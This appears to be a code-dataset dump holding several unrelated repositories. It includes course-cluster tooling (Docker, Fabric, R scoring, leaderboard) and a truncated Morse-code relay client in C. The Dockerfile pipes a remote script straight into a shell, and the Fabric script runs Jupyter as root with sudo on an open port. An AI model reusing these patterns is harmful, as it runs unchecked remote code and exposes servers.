}\n}\n"},"directory_id":{"kind":"string","value":"5d35731871580aecdb1d60221abdc49f4231891b"},"languages":{"kind":"list like","value":["Swift"],"string":"[\n \"Swift\"\n]"},"num_files":{"kind":"number","value":33,"string":"33"},"repo_language":{"kind":"string","value":"Swift"},"repo_name":{"kind":"string","value":"tangzhentao/SwiftTestbed"},"revision_id":{"kind":"string","value":"a035a5af571886cb8d8bff2fbab8ba1d97888e33"},"snapshot_id":{"kind":"string","value":"b8986c1770a45f742ba2f6cfdb3b4d007ccd0141"}}},{"rowIdx":135,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"const hello = \"john\"\n\nconsol.log(\"${hello}, Hello\") "},"directory_id":{"kind":"string","value":"f49458255b58722e8c25e58094dbe889a8f702e8"},"languages":{"kind":"list like","value":["JavaScript"],"string":"[\n \"JavaScript\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"ricejohn03/Git-Example"},"revision_id":{"kind":"string","value":"ecaf913e3bcb21c17c46ae3c541c2758f98e1e6a"},"snapshot_id":{"kind":"string","value":"a857a108638a80a3231d888badcf577b88071c09"}}},{"rowIdx":136,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"rcurrie/bme230b/Makefile\nbuild:\n\tdocker build --rm -t robcurrie/bme230b .\n\npush:\n\tdocker push robcurrie/bme230b\n\nupload:\n\tdocker run -it -v ${HOME}:/root microsoft/azure-cli\n\taz storage blob upload -c data --name tcga_target_gtex.h5 --file ~/tcga_target_gtex.h5\n\nnbviewer:\n\tdocker run -d \\\n\t\t-v /mnt/students:/notebooks \\\n\t\t-p 8080:8080 \\\n\t\tjupyter/nbviewer \\\n\t\tpython3 -m nbviewer --port=8080 --no-cache --localfiles=/notebooks\n/leaderboard.py\nimport os\nimport re\nimport operator\nimport subprocess\n\nroot = \"/mnt/students\"\n\ncmd = \"Rscript class/BME230_F1score_V2.R /mnt/students/{}/predict.tsv /mnt/data/tcga_mutation_test_labels.tsv\"\n\nleaderboard = {}\n\nfor id in os.listdir(root):\n if os.path.exists(os.path.join(root, id, \"predict.tsv\")):\n\tleaderboard[id] = {}\n\tprint(\"Ranking {}\".format(id))\n\ttry:\n\t scores = subprocess.check_output(cmd.format(id).split(\" \"))\n except subprocess.CalledProcessError as e:\n\t print(\"Problems ranking {}: {}\".format(id, e.output))\n\tleaderboard[id][\"Tissue\"] = float(re.findall(\"Tissue F1 score: (NaN|[0-9]*\\.?[0-9]*)\", scores)[0])\n\tleaderboard[id][\"TP53\"] = float(re.findall(\"TP53_F1_score: (NaN|[0-9]*\\.?[0-9]*)\", scores)[0])\n\tleaderboard[id][\"KRAS\"] = float(re.findall(\"KRAS_F1_score: (NaN|[0-9]*\\.?[0-9]*)\", scores)[0])\n\tleaderboard[id][\"BRAF\"] = float(re.findall(\"BRAF_F1_score: (NaN|[0-9]*\\.?[0-9]*)\", scores)[0])\n\tleaderboard[id][\"Mutation\"] = float(re.findall(\"Mutation_F1_score: (NaN|[0-9]*\\.?[0-9]*)\", scores)[0])\n\tleaderboard[id][\"Overall\"] = float(re.findall(\"Final_F1_score: (NaN|[0-9]*\\.?[0-9]*)\", scores)[0])\n\nfor id in sorted(leaderboard.keys(), key=lambda x: leaderboard[x][\"Overall\"], reverse=True):\n print(id)\n print(\"Overall: {:.6f}\".format(leaderboard[id][\"Overall\"]))\n print(\"Tissue: {:.6f}\".format(leaderboard[id][\"Tissue\"]))\n print(\"TP53: {:.6f}\".format(leaderboard[id][\"TP53\"]))\n print(\"KRAS: {:.6f}\".format(leaderboard[id][\"KRAS\"]))\n print(\"BRAF: {:.6f}\".format(leaderboard[id][\"BRAF\"]))\n print(\"Mutation: {:.6f}\".format(leaderboard[id][\"Mutation\"]))\n print(\"\")\n/class/README.txt\nContents of this folder is read only and populated by the TAs\n\nAnything in this folder may be overwritten by future assignments - copy any templates to your home before working on them.\n/Dockerfile\nFROM jupyter/datascience-notebook:96f2f777be6e\n\nUSER root\n\nRUN apt-get update \\\n && apt-get install -y --no-install-recommends \\\n curl \\\n wget \\\n zip \\\n zlib1g-dev \\\n time \\\n samtools \\\n bedtools \\\n && apt-get clean \\\n && rm -rf /var/lib/apt/lists/*\n\nRUN curl -sSL https://get.docker.com/ | sh\nRUN usermod -aG docker jovyan\n\nRUN wget -qO- https://github.com/lomereiter/sambamba/releases/download/v0.6.7/sambamba_v0.6.7_linux.tar.bz2 \\\n | tar xj -C /usr/local/bin\n\n# The order of these is intentional to work around conflicts\n# RUN conda install --yes pytorch torchvision -c pytorch\n# pytorch repo has older versions only...\nRUN conda install --yes pytorch torchvision -c soumith\n\nRUN conda install --yes tensorflow keras\n\nRUN pip install --upgrade pip\nADD requirements.txt requirements.txt\nRUN pip install --no-cache-dir -r requirements.txt\n\nRUN conda install --yes numpy==1.14.1 scikit-learn==0.19.0\n\nUSER jovyan\n/requirements.txt\nawscli==1.14.32\nboto3==1.5.22\ndocker==3.0.0\ndocutils==0.14\nnetworkx==2.0\npybedtools==0.7.10\npysam==0.13\nPyVCF==0.6.8\ntables==3.4.2\n/class/BME230_F1score_V2.R\n# score BME assignment using F1 score\n# script takes two arguments, the first argument is the prediction file and the second is the actual file\n# example:\n# Rscript BME230_F1score.R davids_pancan_response.tsv tcga_mutation_test_labels.tsv\n# outputs a file named with the _scored.tsv\n\n# load input file\nargs = commandArgs(trailingOnly=TRUE)\npredict_input_file<<-args[1]\nactual_labels_file<<-args[2]\n\n# load files\npredicted_response<-read.csv(file=predict_input_file,sep=\"\\t\")\n# colnames(predicted_response)<-c(\"TumorTypePrediction\",\"TP53MutationPrediction\",\"KRASMutationPrediction\",\"BRAFMutationPrediction\")\ntrue_response<-read.csv(file=actual_labels_file,sep=\"\\t\")\n\n\n# for testing\n#predicted_response<-read.csv(file=\"davids_tissue_specific_response.tsv\",sep=\"\\t\")\n#colnames(predicted_response)<-c(\"TumorTypePrediction\",\"TP53MutationPrediction\",\"KRASMutationPrediction\",\"BRAFMutationPrediction\")\n#true_response<-read.csv(file=\"tcga_mutation_test_labels.tsv\",sep=\"\\t\")\n\n# score tumor type\n# for each tumor type calculate an F1 score\ntissue_scores<-data.frame(matrix(ncol=2,nrow=0))\ntissues<-unique(true_response$primary.disease.or.tissue)\ntissues_predict<-unique(predicted_response$TumorTypePrediction)\n\nrunning_precision<-c()\nrunning_recall<-c()\nfor (tissue in tissues) {\n TP<-length(which(predicted_response$TumorTypePrediction == tissue & true_response$primary.disease.or.tissue == tissue))\n FP<-length(which(predicted_response$TumorTypePrediction == tissue & true_response$primary.disease.or.tissue != tissue))\n FN<-length(which(predicted_response$TumorTypePrediction != tissue & true_response$primary.disease.or.tissue == tissue))\n if ((TP+FP) > 0) { precision<-TP/(TP+FP) } else { precision<-0 }\n if ((TP+FN) > 0) { recall<-TP/(TP+FN) } else { recall <- 0 }\n running_precision<-c(running_precision,precision)\n running_recall<-c(running_recall,recall)\n if ((precision*recall)!=0) \n { tissue_specific_F1_score<-(2*precision*recall)/(precision+recall) }\n else \n {tissue_specific_F1_score<-0}\n tissue_scores<-rbind(tissue_scores,cbind(paste0(tissue,\"_F1_score\"),\"V2\"=tissue_specific_F1_score))\n print(paste0(tissue,\"_F1_score: \",tissue_specific_F1_score))\n }\n\n# take mean of precision and recall\ntissue_precision<-sum(running_precision)/length(tissues)\ntissue_recall<-sum(running_recall)/length(tissues)\ntissue_F1_score<-(2*tissue_precision*tissue_recall)/(tissue_precision+tissue_recall)\nprint(paste(\"Overall Tissue F1 score:\",tissue_F1_score))\n\n # score TP53 mutation predictions\nTP<-length(which(predicted_response$TP53MutationPrediction ==1 & true_response$TP53_mutant==1))\nFP<-length(which(predicted_response$TP53MutationPrediction ==1 & true_response$TP53_mutant==0))\nFN<-length(which(predicted_response$TP53MutationPrediction ==0 & true_response$TP53_mutant==1))\nif ((TP+FP) > 0) { TP53_precision<-TP/(TP+FP) } else { TP53_precision<-0 }\nif ((TP+FN) > 0) { TP53_recall<-TP/(TP+FN) } else { TP53_recall <- 0 }\nTP53_F1_score<-(2*TP53_precision*TP53_recall)/(TP53_precision+TP53_recall)\nprint(paste(\"TP53_F1_score:\",TP53_F1_score))\n\n\n# score KRAS mutation predictions\nTP<-length(which(predicted_response$KRASMutationPrediction ==1 & true_response$KRAS_mutant==1))\nFP<-length(which(predicted_response$KRASMutationPrediction ==1 & true_response$KRAS_mutant==0))\nFN<-length(which(predicted_response$KRASMutationPrediction ==0 & true_response$KRAS_mutant==1))\nif ((TP+FP) > 0) { KRAS_precision<-TP/(TP+FP) } else { KRAS_precision<-0 }\nif ((TP+FN) > 0) { KRAS_recall<-TP/(TP+FN) } else { KRAS_recall <- 0 }\nKRAS_F1_score<-(2*KRAS_precision*KRAS_recall)/(KRAS_precision+KRAS_recall)\nprint(paste(\"KRAS_F1_score:\",KRAS_F1_score))\n\n\n# score BRAF mutation predictions\nTP<-length(which(predicted_response$BRAFMutationPrediction ==1 & true_response$BRAF_mutant==1))\nFP<-length(which(predicted_response$BRAFMutationPrediction ==1 & true_response$BRAF_mutant==0))\nFN<-length(which(predicted_response$BRAFMutationPrediction ==0 & true_response$BRAF_mutant==1))\nif ((TP+FP) > 0) { BRAF_precision<-TP/(TP+FP) } else { BRAF_precision<-0 }\nif ((TP+FN) > 0) { BRAF_recall<-TP/(TP+FN) } else { BRAF_recall <- 0 }\nBRAF_F1_score<-(2*BRAF_precision*BRAF_recall)/(BRAF_precision+BRAF_recall)\nprint(paste(\"BRAF_F1_score:\",BRAF_F1_score))\n\n\n\nmutation_precision<-(TP53_precision+KRAS_precision+BRAF_precision)/3\nmutation_recall<-(TP53_recall+KRAS_recall+BRAF_recall)/3\nmutation_F1_score<-(2*mutation_precision*mutation_recall)/(mutation_precision+mutation_recall)\nprint(paste(\"Mutation_F1_score:\",mutation_F1_score))\n\n\n\nfinal_precision<-(mutation_precision+tissue_precision)/2\nfinal_recall<-(mutation_recall+tissue_recall)/2\nfinal_F1_score<-(2*final_precision*final_recall)/(final_precision+final_recall)\nprint(paste(\"Final_F1_score:\",final_F1_score))\n\n\nother_scores<-rbind(c(\"Tumor_Type_F1_score\",tissue_F1_score),\n c(\"TP53_F1_score\",TP53_F1_score),\n c(\"KRAS_F1_score\",KRAS_F1_score),\n c(\"BRAF_F1_score\",BRAF_F1_score),\n c(\"Mutation_F1_score\",mutation_F1_score),\n c(\"Final_F1_score\",final_F1_score))\nscore_vector<-rbind(tissue_scores,other_scores)\n\noutput_filename<-paste0(strsplit(predict_input_file,\"\\\\.\")[[1]][1],\"_scored.tsv\")\n\n# write.table((score_vector),quote=FALSE,file=output_filename,sep=\"\\t\",col.names = FALSE,row.names = FALSE)\n\n/fabfile.py\n\"\"\"\nTooling to spin up hosts running jupyter on Azure for BME230B\n\"\"\"\nimport os\nimport glob\nimport json\nimport datetime\nimport pprint\nfrom StringIO import StringIO\nfrom fabric.api import env, local, run, sudo, runs_once, parallel, warn_only, cd, settings\nfrom fabric.operations import put, get\nfrom fabric.contrib.console import confirm\n\n# To debug communication issues un-comment the following\n# import logging\n# logging.basicConfig(level=logging.DEBUG)\n\n\ndef _find_machines():\n \"\"\" Fill in host globals from docker-machine \"\"\"\n env.user = \"ubuntu\"\n machines = [json.loads(open(m).read())[\"Driver\"]\n for m in glob.glob(os.path.expanduser(\"~/.docker/machine/machines/*/config.json\"))]\n env.hostnames = [m[\"MachineName\"] for m in machines\n if not env.hosts or m[\"MachineName\"] in env.hosts]\n env.hosts = [local(\"docker-machine ip {}\".format(m[\"MachineName\"]), capture=True) for m in machines\n if not env.hosts or m[\"MachineName\"] in env.hosts]\n # env.key_filename = [m[\"SSHKeyPath\"] for m in machines]\n # Use single key due to https://github.com/UCSC-Treehouse/pipelines/issues/5\n # env.key_filename = [m[\"SSHKeyPath\"] for m in machines]\n env.key_filename = \"~/.ssh/id_rsa\"\n\n\n\n_find_machines()\n\n\n@runs_once\ndef cluster_up(count=1):\n \"\"\" Spin up 'count' docker machines \"\"\"\n print(\"Spinning up {} more cluster machines\".format(count))\n for i in range(int(count)):\n hostname = \"bme230b-{:%Y%m%d-%H%M%S}\".format(datetime.datetime.now())\n local(\"\"\"\n docker-machine create --driver azure \\\n\t\t--azure-subscription-id \"11ef7f2c-6e06-44dc-a389-1d6b1bea9489\" \\\n\t\t--azure-location \"westus\" \\\n\t\t--azure-ssh-user \"ubuntu\" \\\n\t\t--azure-open-port 80 \\\n\t\t--azure-size \"Standard_D8_v3\" \\\n\t\t--azure-storage-type \"Standard_LRS\" \\\n\t\t--azure-resource-group \"bme230bstudents\" \\\n {}\n \"\"\".format(hostname))\n local(\"cat ~/.ssh/id_rsa.pub\" +\n \"| docker-machine ssh {} 'cat >> ~/.ssh/authorized_keys'\".format(hostname))\n\n # In case additional commands are called after up\n _find_machines()\n\n@parallel\ndef configure_machines():\n \"\"\" Push out class templates and download data sets \"\"\"\n run(\"sudo usermod -aG docker ${USER}\")\n\n put(\"class\")\n\n run(\"sudo chown ubuntu:ubuntu /mnt\")\n run(\"mkdir -p /mnt/data /mnt/scratch\")\n with cd(\"/mnt/data\"):\n # run(\"wget -r -np -R 'index.html*' -N https://bme230badmindiag811.blob.core.windows.net/data/\") \n run(\"wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/tcga_target_gtex_train.h5\") \n run(\"wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/tcga_mutation_train.h5\") \n run(\"wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/breast-cancer-wisconsin.data.csv\") \n run(\"wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/c2.cp.kegg.v6.1.symbols.gmt\") \n run(\"wget -q -N https://bme230badmindiag811.blob.core.windows.net/data/tcga_mutation_test_unlabeled.h5\") \n run(\"sudo chown ubuntu:ubuntu /mnt\")\n\n run(\"\"\"sudo docker pull robcurrie/jupyter | grep -e 'Pulling from' -e Digest -e Status -e Error\"\"\")\n # run(\"chmod -R +r-w class/\")\n\n\n@runs_once\ndef cluster_down():\n \"\"\" Terminate ALL docker-machine machines \"\"\"\n if confirm(\"Stop and delete all cluster machines?\", default=False):\n for host in env.hostnames:\n print(\"Terminating {}\".format(host))\n with warn_only():\n local(\"docker-machine stop {}\".format(host))\n with warn_only():\n local(\"docker-machine rm -f {}\".format(host))\n\n\n@runs_once\ndef machines():\n \"\"\" Print hostname, ip, and ssh key location of each machine \"\"\"\n print(\"Machines:\")\n for machine in zip(env.hostnames, env.hosts):\n print(\"{}/{}\".format(machine[0], machine[1]))\n\ndef ps():\n \"\"\" List dockers running on each machine \"\"\"\n run(\"docker ps\")\n\n\ndef jupyter_up():\n \"\"\" Launch a jupyter notebook server on each cluster machine \"\"\"\n with warn_only():\n run(\"\"\"\n nohup docker run -d --name jupyter \\\n --user root \\\n -e JUPYTER_ENABLE_LAB=1 \\\n -e GRANT_SUDO=yes \\\n -e NB_UID=`id -u` \\\n -e NB_GID=`id -g` \\\n -p 80:8888 \\\n -v `echo ~`:/home/jovyan \\\n -v /mnt/data:/home/jovyan/data \\\n -v /mnt/scratch:/scratch/home/jovyan/data \\\n robcurrie/jupyter start-notebook.sh \\\n --NotebookApp.password=':'\n \"\"\", pty=False)\n\ndef jupyter_down():\n \"\"\" Shutdown the jupyter notebook server on each cluster machine \"\"\"\n with warn_only():\n run(\"docker stop jupyter && docker rm jupyter\")\n\ndef backhaul():\n \"\"\" Backhaul notebooks from all the cluster machines into /mnt/students \"\"\"\n username = env.host\n with warn_only():\n fd = StringIO()\n paths = get(\"~/username.txt\", fd)\n if paths.succeeded:\n username=fd.getvalue().strip()\n local(\"mkdir -p /mnt/students/{}\".format(username))\n local(\"rsync -av --max-size=10m --delete ubuntu@{}:~/* /mnt/students/{}\".format(env.host, username))\n # with cd(\"/mnt/students/{}\".format(username)):\n # get(\"/home/ubuntu/*\", \"/mnt/students/{}/\".format(username))\n"},"directory_id":{"kind":"string","value":"ca6373d1a51fbd0b8faf22ca76c7e30c8bd59753"},"languages":{"kind":"list like","value":["Makefile","Python","Text","R","Dockerfile"],"string":"[\n \"Makefile\",\n \"Python\",\n \"Text\",\n \"R\",\n \"Dockerfile\"\n]"},"num_files":{"kind":"number","value":7,"string":"7"},"repo_language":{"kind":"string","value":"Makefile"},"repo_name":{"kind":"string","value":"rcurrie/bme230b"},"revision_id":{"kind":"string","value":"c4a973febeba0fb1ea94037d15af6c13b9333070"},"snapshot_id":{"kind":"string","value":"f4c58d8cabd3f735ecafa271078ce7a61dd47c8d"}}},{"rowIdx":137,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"mstramb/irmc/src/cwprotocol.c\n#include \n#include \"cwprotocol.h\"\n\nint prepare_id (struct data_packet_format *id_packet, char *id)\n{\n\tid_packet->command = DAT;\n\tid_packet->length = SIZE_DATA_PACKET_PAYLOAD;\n\tsnprintf(id_packet->id, SIZE_ID, id, \"%s\");\n\tid_packet->sequence = 0;\n\tid_packet->n = 0;\n\tsnprintf(id_packet->status, SIZE_ID, INTERFACE_VERSION);\n\tid_packet->a21 = 1; /* These magic numbers was provided by Les Kerr */\n\tid_packet->a22 = 755;\n\tid_packet->a23 = 65535;\n\n\treturn 0;\n}\n\n\nint prepare_tx (struct data_packet_format *tx_packet, char *id)\n{\n\tint i;\n\n\ttx_packet->command = DAT;\n\ttx_packet->length = SIZE_DATA_PACKET_PAYLOAD;\n\tsnprintf(tx_packet->id, SIZE_ID, id, \"%s\");\n\ttx_packet->sequence = 0;\n\ttx_packet->n = 0;\n\tfor(i = 1; i < 51; i++)tx_packet->code[i] = 0;\n\ttx_packet->a21 = 0; /* These magic numbers was provided by Les Kerr */\n\ttx_packet->a22 = 755;\n\ttx_packet->a23 = 16777215;\n\tsnprintf(tx_packet->status, SIZE_STATUS, \"?\");\n\t\n\treturn 0;\n}\n/src/irmc.c\n/* irmc - internet relay morsecode client */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef __MACH__\n#define LIBOSS_INTERNAL\n#include //will not be used for audio any more\n#else\n#include \n#include \n#include \n#endif \n#include \n#include \n#include \n#include \n#include \n \n#ifdef __MACH__\n#include \n#include \n#endif\n \n#define DEBUG 0\n\n#define MAXDATASIZE 1024 // max number of bytes we can get at once \n\n#include \"cwprotocol.h\"\nstruct command_packet_format connect_packet = {CON, DEFAULT_CHANNEL}; \nstruct command_packet_format disconnect_packet = {DIS, 0};\nstruct data_packet_format id_packet;\nstruct data_packet_format rx_data_packet;\nstruct data_packet_format tx_data_packet;\n\nint serial_status = 0, fd_serial, fd_socket, numbytes;\nint tx_sequence = 0, rx_sequence;\n\ndouble tx_timeout = 0;\nlong tx_timer = 0;\n#define TX_WAIT 5000\n#define TX_TIMEOUT 240.0 \n#define KEEPALIVE_CYCLE 100\n\nlong key_press_t1;\nlong key_release_t1;\nint last_message = 0;\nchar last_sender[16];\n\n/* settings */\nint translate = 0;\nint audio_status = 1;\n\n/* portable time, as listed in https://gist.github.com/jbenet/1087739 */\nvoid current_utc_time(struct timespec *ts) {\n#ifdef __MACH__ // OS X does not have clock_gettime, use clock_get_time\n clock_serv_t cclock;\n mach_timespec_t mts;\n host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &cclock);\n clock_get_time(cclock, &mts);\n mach_port_deallocate(mach_task_self(), cclock);\n ts->tv_sec = mts.tv_sec;\n ts->tv_nsec = mts.tv_nsec;\n#else\n clock_gettime(CLOCK_REALTIME, ts);\n#endif\n \n}\n\n/* a better clock() in milliseconds */\nlong \nfastclock(void)\n{\n\tstruct timespec t;\n\tlong r;\n\n\tcurrent_utc_time (&t);\n\tr = t.tv_sec * 1000;\n\tr = r + t.tv_nsec / 1000000;\n\treturn r;\n}\n\nint kbhit (void)\n{\n \tstruct timeval tv;\n \tfd_set rdfs;\n\n \ttv.tv_sec = 0;\n \ttv.tv_usec = 0;\n\n \tFD_ZERO(&rdfs);\n \tFD_SET (STDIN_FILENO, &rdfs);\n\n \tselect (STDIN_FILENO+1, &rdfs, NULL, NULL, &tv);\n \treturn FD_ISSET(STDIN_FILENO, &rdfs);\n\n}\n\n\n/* get sockaddr, IPv4 or IPv6: */\nvoid *get_in_addr(struct sockaddr *sa)\n{\n\tif (sa->sa_family == AF_INET) {\n\t\treturn &(((struct sockaddr_in*)sa)->sin_addr);\n\t}\n\n\treturn &(((struct sockaddr_in6*)sa)->sin6_addr);\n}\n\n// connect to server and send my id.\nvoid\nidentifyclient(void)\n{\n\ttx_sequence++;\n\tid_packet.sequence = tx_sequence;\n\tsend(fd_socket, &connect_packet, SIZE_COMMAND_PACKET, 0);\n\tsend(fd_socket, &id_packet, SIZE_DATA_PACKET, 0);\n}\n\n// disconnect from the server\nvoid\ninthandler(int sig)\n{\n\tsignal(sig, SIG_IGN);\n\tsend(fd_socket, &disconnect_packet, SIZE_COMMAND_PACKET, 0);\t\n\tclose(fd_socket);\n\tclose(fd_serial);\n\texit(1);\n}\n\nvoid\ntxloop (void)\n{\n\tkey_press_t1 = fastclock();\n\ttx_timeout = 0;\n\tfor(;;){\n\t\ttx_data_packet.n++;\n\t\ttx_data_packet.code[tx_data_packet.n - 1] = \n\t\t\t(int) ((key_press_t1 - key_release_t1) * -1);\n\n\t\t//printf(\"space: %i\\n\", tx_data_packet.code[tx_data_packet.n -1]);\n\t\twhile(serial_status & TIOCM_DSR) ioctl(fd_serial, TIOCMGET, &serial_status);\n\t\tkey_release_t1 = fastclock();\n\n\t\ttx_data_packet.n++;\t\n\t\ttx_data_packet.code[tx_data_packet.n - 1] =\n\t\t\t(int) ((key_release_t1 - key_press_t1) * 1);\n\t\t\n\t\t//printf(\"mark: %i\\n\", tx_data_packet.code[tx_data_packet.n -1]);\n\t\twhile(1){\n\t\t\tioctl(fd_serial, TIOCMGET, &serial_status);\n\t\t\tif(serial_status & TIOCM_DSR) break;\n\t\t\ttx_timeout = fastclock() - key_release_t1;\n\t\t\tif(tx_timeout > TX_TIMEOUT) return;\n\t\t}\n\t\tkey_press_t1 = fastclock();\t\n\t\tif(tx_data_packet.n == SIZE_CODE) {\n\t\t\tprintf(\"irmc: warning packet is full.\\n\");\n\t\t\treturn;\n\t\t}\n\t}\n}\n\nint\ncommandmode(void)\n{\n\tchar cmd[32];\n\tint i;\n\n\tlast_message = 0; /* reset status message */\n\tprintf(\".\");\n\tfgets(cmd, 32, stdin);\n\tif(strncmp(cmd, \".\", 1) == 0){\n\t\tprintf(\"\\n\");\n\t\treturn 1;\n\t}\n\tif((strncmp(cmd, \"latch\", 3)) == 0){\n\t\ttx_sequence++;\n\t\ttx_data_packet.sequence = tx_sequence;\n\t\ttx_data_packet.code[0] = -1;\n\t\ttx_data_packet.code[1] = 1;\n\t\ttx_data_packet.n = 2;\n\t\tfor(i = 0; i < 5; i++) send(fd_socket, &tx_data_packet, SIZE_DATA_PACKET, 0);\n\t\ttx_data_packet.n = 0;\n\t\treturn 0;\n\t}\n\n\tif((strncmp(cmd, \"unlatch\", 3)) == 0){\n\t\ttx_sequence++;\n\t\ttx_data_packet.sequence = tx_sequence;\n\t\ttx_data_packet.code[0] = -1;\n\t\ttx_data_packet.code[1] = 2;\n\t\ttx_data_packet.n = 2;\n\t\tfor(i = 0; i < 5; i++) send(fd_socket, &tx_data_packet, SIZE_DATA_PACKET, 0);\n\t\ttx_data_packet.n = 0;\n\t\treturn 0;\n\t}\n\tif((strncmp(cmd, \"ton\", 3)) == 0){\n\t\ttranslate = 1;\n\t\treturn 0;\n\t}\n\tif((strncmp(cmd, \"toff\", 3)) == 0){\n\t\ttranslate = 0;\n\t\treturn 0;\n\t}\n\t\n\tif((strncmp(cmd, \"aon\", 3)) == 0){\n\t\taudio_status = 1;\n\t\treturn 0;\n\t}\n\tif((strncmp(cmd, \"aoff\", 3)) == 0){\n\t\taudio_status = 0;\n\t\treturn 0;\n\t}\n\tprintf(\"?\\n\");\n\treturn 0;\n}\n\n\nvoid\nmessage(int msg)\n{ \n\tswitch(msg){\n\tcase 1:\n\t\tif(last_message == msg) return;\n\t\tif(last_message == 2) printf(\"\\n\");\n\t\tlast_message = msg;\n\t\tprintf(\"irmc: transmitting...\\n\");\n\t\tbreak;\n\tcase 2:\n\t\tif(last_message == msg && strncmp(last_sender, rx_data_packet.id, 3) == 0) return;\n\t\telse {\n\t\t\tif(last_message == 2) printf(\"\\n\");\n\t\t\tlast_message = msg;\n\t\t\tstrncpy(last_sender, rx_data_packet.id, 3);\n\t\t\tprintf(\"irmc: receiving...(%s)\\n\", rx_data_packet.id);\n\t\t}\n\t\tbreak;\n\tcase 3:\n\t\tprintf(\"irmc: circuit was latched by %s.\\n\", rx_data_packet.id);\n\t\tbreak;\n\tcase 4:\n\t\tprintf(\"irmc: circuit was unlatched by %s.\\n\", rx_data_packet.id);\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\tfflush(0);\n}\n\t \nint main(int argc, char *argv[])\n{\n\tchar buf[MAXDATASIZE];\n\tstruct addrinfo hints, *servinfo, *p;\n\tint rv, i;\n\tchar s[INET6_ADDRSTRLEN];\n\tint keepalive_t = 0;\n\tchar hostname[64];\n\tchar port[16];\n\tint channel;\n\tchar id[SIZE_ID];\n\tchar serialport[64];\n\n\t// Set default values\n\tsnprintf(hostname, 64, \"mtc-kob.dyndns.org\");\n\tsnprintf(port, 16, \"7890\");\n\tchannel = 103;\n\tsnprintf(id, SIZE_ID, \"irmc-default\");\n\tsnprintf(serialport, 64, \"/dev/tty.usbserial\");\n\n\t// Read commandline\n\topterr = 0; \n\tint c;\n\twhile ((c = getopt (argc, argv, \"h:p:c:i:s:\")) != -1)\n\t{\n\t\tswitch (c) \n\t\t{\n\t\t\tcase 'h':\n\t\t\t\tsnprintf(hostname, 64, \"%s\", optarg);\n\t\t\t\tbreak;\n\t\t\tcase 'p':\n\t\t\t\tsnprintf(port, 16, \"%s\", optarg);\n\t\t\t\tbreak;\n\t\t\tcase 'c':\n\t\t\t\tchannel = atoi (optarg);\n\t\t\t\tbreak;\n\t\t\tcase 'i':\n\t\t\t\tsnprintf(id, SIZE_ID, \"%s\", optarg);\n\t\t\t\tbreak;\n\t\t\tcase 's':\n\t\t\t\tsnprintf(serialport, 64, \"%s\", optarg);\n\t\t\t\tbreak;\n\t\t\tcase '?':\n\t \t\t\tfprintf(stderr, \"irmc - Internet Relay Morse Code\\n\\n\");\n\t\t\t\tfprintf(stderr, \"usage: irmc [arguments]\\n\\n\");\n\t\t\t\tfprintf(stderr, \"Arguments:\\n\\n\");\n\t\t\t\tfprintf(stderr, \" -h [hostname] Hostname of morsekob server. Default: %s\\n\", hostname);\n\t\t\t\tfprintf(stderr, \" -p [port] Port of morsekob server. Default: %s\\n\", port);\n\t\t\t\tfprintf(stderr, \" -c [channel] Channel. Default: %d\\n\", channel);\n\t\t\t\tfprintf(stderr, \" -i [id] My ID. Default: %s\\n\", id);\n\t\t\t\tfprintf(stderr, \" -s [serialport] Serial port device name. Default: %s\\n\", serialport);\n\t\t\t\treturn 1;\n\t\t\tdefault: \n\t\t\t\tabort ();\n\t\t}\n\t}\n\n\t// Preparing connection\n\tfprintf(stderr, \"irmc - Internet Relay Morse Code\\n\\n\");\n\tfprintf(stderr, \"Connecting to %s:%s on channel %d with ID %s.\\n\", hostname, port, channel, id); \n\n\tprepare_id (&id_packet, id);\n\tprepare_tx (&tx_data_packet, id);\n\tconnect_packet.channel = channel;\n\t\n\tsignal(SIGINT, inthandler);\n\t\n\tmemset(&hints, 0, sizeof hints);\n\thints.ai_family = AF_UNSPEC; /* ipv4 or ipv6 */\n\thints.ai_socktype = SOCK_DGRAM;\n\n\tif ((rv = getaddrinfo(hostname, port, &hints, &servinfo)) != 0) {\n\t\tfprintf(stderr, \"getaddrinfo: %s\\n\", gai_strerror(rv));\n\t\treturn 1;\n\t}\n\t\n\t/* Find the first free socket */\n\tfor(p = servinfo; p != NULL; p = p->ai_next) {\n\t\tif ((fd_socket = socket(p->ai_family, p->ai_socktype,\n\t\t\tp->ai_protocol)) == -1) {\n\t\t\tperror(\"irmc: socket\");\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (connect(fd_socket, p->ai_addr, p->ai_addrlen) == -1) {\n\t\t\tclose(fd_socket);\n\t\t\tperror(\"irmc: connect\");\n\t\t\tcontinue;\n\t\t}\n\n\t\tbreak;\n\t}\n \n \n \tfcntl(fd_socket, F_SETFL, O_NONBLOCK);\n\tif (p == NULL) {\n\t\tfprintf(stderr, \"Failed to connect.\\n\");\n\t\treturn 2;\n\t}\n\n\tinet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr),\n\t\t\ts, sizeof s);\n\tfprintf(stderr, \"Connected to %s.\\n\", s);\n\tbeep_init();\n\tfd_serial = open(serialport, O_RDWR | O_NOCTTY | O_NDELAY);\n\tif(fd_serial == -1) {\n \t\tfprintf(stderr,\"Unable to open serial port %s.\\n\", serialport);\n \t}\n\tfreeaddrinfo(servinfo); /* all done with this structure */\n\n\tkey_release_t1 = fastclock();\n\tidentifyclient();\n \n\t/* Main Loop */\n\tfor(;;) {\n \t\tif(tx_timer == 0) \n\t\t\tif((numbytes = recv(fd_socket, buf, MAXDATASIZE-1, 0)) == -1)\n\t\t\t\tusleep(250);\n\t\tif(numbytes == SIZE_DATA_PACKET && tx_timer == 0){\n\t\t\tmemcpy(&rx_data_packet, buf, SIZE_DATA_PACKET);\n\t\t#if DEBUG \n\t\t\tprintf(\"length: %i\\n\", rx_data_packet.length);\n\t\t\tprintf(\"id: %s\\n\", 